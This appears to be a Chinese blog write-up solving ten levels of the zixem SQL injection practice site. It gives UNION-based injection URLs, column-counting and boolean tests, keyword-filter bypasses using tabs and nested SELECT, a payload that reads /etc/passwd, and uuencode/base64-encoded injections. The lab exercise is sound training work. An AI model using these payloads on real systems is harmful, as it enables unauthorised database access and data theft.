SQL Challenges
平台:
http://www.zixem.altervista.org/SQLi/
Level 1 (Super Easy)
http://www.zixem.altervista.org/SQLi/level1.php?id=1
http://www.zixem.altervista.org/SQLi/level1.php?id=1 and 1=1--+ #true
http://www.zixem.altervista.org/SQLi/level1.php?id=1 and 1=2--+ #false
3 columns
http://www.zixem.altervista.org/SQLi/level1.php?id=1 order by 3--+
http://www.zixem.altervista.org/SQLi/level1.php?id=-1 +UNION+ALL+SELECT+1,2,3--+
MySQL information
http://www.zixem.altervista.org/SQLi/level1.php?id=-1 +UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),2,3--+
Level 2 (Easy)
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4' and 1=1--+ #true
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4' and 1=2--+ #false
Find ccolumns
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4' +ORDER+BY+4--+
Showprofile 发现无回显,我们将其改成showprofile=1
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=1' +UNION+ALL+SELECT+1,2,3,4--+
Find mysql information
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=1' +UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4--+
或者
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=1' +UNION+ALL+SELECT+version(),database(),user(),4--+
Level 3 (Medium)
http://www.zixem.altervista.org/SQLi/level3.php?item=3
http://www.zixem.altervista.org/SQLi/level3.php?item=3' and 1=1--+ #true
http://www.zixem.altervista.org/SQLi/level3.php?item=3' and 1=2--+ #false
Find 4 columns
http://www.zixem.altervista.org/SQLi/level3.php?item=3' +ORDER+BY+4--+
http://www.zixem.altervista.org/SQLi/level3.php?item=3' +UNION+ALL+SELECT+1,2,3,4--+
http://www.zixem.altervista.org/SQLi/level3.php?item=3' +UNIONON+ALL+SELECT+1,2,3,4--+
发现无回显,我们尝试更改item的值试试
http://www.zixem.altervista.org/SQLi/level3.php?item=1' +UNIONON+ALL+SELECT+1,2,3,4--+
在字段2上进行查询MySQL information
http://www.zixem.altervista.org/SQLi/level3.php?item=1' +UNIONON+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4--+
Level 4 (Normal)
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7' and 1=1--+ #true
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7' and 1=2--+ #false
Find 5 columns
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7' +ORDER+BY+5--+
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7' +UNION+ALL+SELECT+1,2,3,4,5--+
执行发现无相关的字段回显,我们尝试更改下ebookid的值试试
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=1' +UNION+ALL+SELECT+1,2,3,4,5--+
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=1' +UNION+ALL+SELECT+version(),user(),database(),4,5--+
Level 5 (Get your "bot-writing" skills)
http://www.zixem.altervista.org/SQLi/login_lvl5.php
抓包请求如下:
GET /SQLi/login_do.php?pass=123456 HTTP/1.1
Host: www.zixem.altervista.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.zixem.altervista.org/SQLi/login_lvl5.php
Cookie: __cfduid=d1cf89af0193d0a51fc76036c94593eca1547429536
Connection: close
Upgrade-Insecure-Requests: 1
通过查看sourcecode如下
If you want a lead, enter this password.
~~~~~~~~~~~~~~~~~~ password: d1fd6ef9af6cb677e09b1b0a68301e0c ~~~~~~~~~~~~~~~~~~~~~~
owh...it's hashed! maybe you could get some help from my md5 cracker...
~~~~~~~~~~~~~~~~~~~~~~~~here: /SQLi/md5cracker.php~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.zixem.altervista.org/SQLi/md5cracker.php?hash=d1fd6ef9af6cb677e09b1b0a68301e0c
Level 6 (Experienced)
http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 and 1=1#true
http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 and 1=2 #false
Find 4 columns
http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 +ORDER+BY+4
这里判断为整形的盲注,直接用穿山甲(pangolin)跑
Level 7 (Medium)
http://www.zixem.altervista.org/SQLi/level7.php?id=1
http://www.zixem.altervista.org/SQLi/level7.php?id=1 and 1=1--+ #true
http://www.zixem.altervista.org/SQLi/level7.php?id=1 and 1=2--+ #false
Find 3 columns
http://www.zixem.altervista.org/SQLi/level7.php?id=1 +ORDER+BY+3--+
http://www.zixem.altervista.org/SQLi/level7.php?id=1 +UNION+ALL+SELECT+1,2,3--+
无任何回显,更改id也无回显查看源码
最后尝试payload为如下:
http://www.zixem.altervista.org/SQLi/level7.php?id=2 +UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3--+
Level 8 (Hard)
尝试注入点:
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\' at line 1 ID:
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 ID:
Age:
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1' and 1=1--+
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1'/**/and/**/1=1--+
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1 and 1=1
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1' and '1'='1--+
想下特殊符号的过滤
A plus sign (+)
A simple URL encoded space (%20)
A null byte (%00)
A newline (%0a)
A tab (%09)
A carriage return (%0d)
空格%20
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%20and%201=1 #false
空字节%00
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%00and%001=1--+ #false
换行\n %0a
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%0aand%0a1=1--+ #false
Tab %09
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09and%091=1-- #true
回车%0d
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%0dsand%0d1=1--+ #flase
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09and%091=1-- #true
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09and%091=2-- #false
Find 3 columns
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09ORDER%09BY%093--
枚举具体列报错:
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09SELECT%091,2,3--
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3--' at line 1 ID:
Age:
看起来好像是屏蔽了select字段,我们尝试绕过
#大小写混
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09/*!SeLECt*/%091,2,3-- #false
#Url encode
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09/*!%53eLEct*/%091,2,3-- #false
#使用特助字符
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09sel*ect%091,2,3-- #flase
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09se/**/lect%091,2,3-- #false
#关键字替换
SEselectLECT
SELSELECTECT
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09SEselectLECT%091,2,3-- #true
http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09SELSELECTECT%091,2,3-- #true
wow
最终的payload如下:
Level 9 (Medium)
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1' and 1=1--+ #true
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1' and 1=12--+ #false
Find 2 columns
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1' +ORDER+BY+2--+
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1'+UNION+ALL+SELECT+1,2--+
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1 and 1=2' union select "../etc/passwd","2"--'
Level 10 (Pro)
http://www.zixem.altervista.org/SQLi/lvl10.php?x=ISwwYGAKYAo=
ISwwYGAKYAo= ---- it looks like base64encode
https://www.base64decode.org/---->
!,0``
`
这种编码方式要用Uuencode decoder 进行解码
https://www.textencode.com/uudecode
构造注入语句
1 AND 1=2 UNION SELECT 1,2--
https://www.textencode.com/uuencode
<,2!!3D0@,3TR(%5.24].(%-%3$5#5"`Q+#(M+0``
`
Base64encode
PCwyISEzRDBALDNUUiglNS4yNF0uKCUtJTMkNSM1ImBRKyMoTSswYGAKYAo=
paylaod:
构造注入语句
1 AND 1=2 UNION SELECT 1,CONCAT(user()," ",version())--
Encode
M,2!!3D0@,3TR(%5.24].(%-%3$5#5"`Q+$-/3D-!5"AU<V5R*"DL(B`B+'9E
*<G-I;VXH*2DM+0``
`
Base64encode
TSwyISEzRDBALDNUUiglNS4yNF0uKCUtJTMkNSM1ImBRKyQtLzNELSE1IkFVPFY1UioiREwoQmBCKyc5RQoqPEctSTtWWEgqMkRNKzBgYApg
SQL Challenges的更多相关文章
- SQL Challenges靶机
http://www.zixem.altervista.org/SQLi/ 第一关 http://www.zixem.altervista.org/SQLi/level1.php?id=1 and 1 ...
- SQL注入测试平台 SQLol -6.CHALLENGES挑战
SQLol上面的挑战共有14关,接下来我们一关一关来突破. Challenge 0 目的是让查询返回所有的用户名,而不是只有一个. SELECT username FROM users WHERE u ...
- sql注入学习小结
/* 转载请注明出处,By:珍惜少年时 小知识,只是放在博客吃饭时无聊看看,大牛勿喷. */ 珍惜少年时博客,专注网络安全 web渗透测试 00x1爆所有库: mysql> select sch ...
- Red Gate - SQL Source Control实现对SQL SERVER 的源代码控制
原文地址:http://bbs.csdn.net/topics/350165431 SQL Server 一直没有一款很好的源码控制器,之前自己曾尝试自己写一个,将所有的 脚本 自动生成到某一目录下, ...
- Red Gate系列之二 SQL Source Control 3.0.13.4214 Edition 数据库版本控制器 完全破解+使用教程
原文:Red Gate系列之二 SQL Source Control 3.0.13.4214 Edition 数据库版本控制器 完全破解+使用教程 Red Gate系列之二 SQL Source Co ...
- Linux 安装Xampp以后,Apache服务器无法启动,以及启动后,连接sql数据库遇到的问题的解决方法
xampp安装以后,搭建服务器的时候,我们会遇到哪些问题呢?1.MySQL Database 可以启动,而Apache Web Server无法启动?应该是80端口被占用,那么如何解决呢?我们可以通过 ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- Stream Processing 101: From SQL to Streaming SQL in 10 Minutes
转自:https://wso2.com/library/articles/2018/02/stream-processing-101-from-sql-to-streaming-sql-in-ten- ...
- 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)
3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...
随机推荐
- tag cloud的相关资料
http://reverland.org/python/2013/01/28/visualize-your-shell-history/ https://github.com/reverland/sc ...
- 【安富莱原创开源应用第1期】花式玩转网络摄像头之TCP上位机软件实现,高端大气上档次,速度2MB/S,华丽丽的界面效果
说明:1.例子是两年前做的,一直没有顾上整理出来,今天特地整理出来,开源出来给大家玩.2.上位机是emWin模拟器开发的,大家估计很难猜到,所以你会emWin话的,就可以轻松制作上位机.做些通信和控制 ...
- [Swift]LeetCode70. 爬楼梯 | Climbing Stairs
You are climbing a stair case. It takes n steps to reach to the top. Each time you can either climb ...
- [Swift]LeetCode676. 实现一个魔法字典 | Implement Magic Dictionary
Implement a magic directory with buildDict, and search methods. For the method buildDict, you'll be ...
- [Swift]LeetCode992. K 个不同整数的子数组 | Subarrays with K Different Integers
Given an array A of positive integers, call a (contiguous, not necessarily distinct) subarray of A g ...
- zuul进阶学习(二)
1. zuul进阶学习(二) 1.1. zuul对接apollo 1.1.1. Netflix Archaius 1.1.2. 定期拉 1.2. zuul生产管理实践 1.2.1. zuul网关参考部 ...
- fiddler抓取https失败解决方案
众所周知,Fiddler默认只能抓取到http请求,要抓取到https请求我们还需要FiddlerCertMaker插件的支持, 至于怎么使用fiddler抓https及插件的使用方式,大家可以去百度 ...
- 参数验证 @Validated 和 @Valid 的区别
来源:blog.csdn.net/qq_27680317/article/details/79970590 整编:Java技术栈(公众号ID:javastack) Spring Validation验 ...
- iOS崩溃日志ips文件解析
iOS崩溃日志ips文件解析 一 简介 测试组的同事在进行稳定性测试时,通常会遇到一些崩溃,然后他们会将这些崩溃日志(一般是ips格式的文件)反馈给开发进行分析,但是这些ips文件中的内容通常是如下 ...
- [IOI2007] sails 船帆
显然答案与杆的顺序无关(按每个高度考虑). 从高到低考虑杆,设此时的状态为\(S\),\(S[i]\)是高度\(i\)的帆的数目,初始全为\(0\),当前杆的高度为\(h\),杆上需要放置的帆的数目为 ...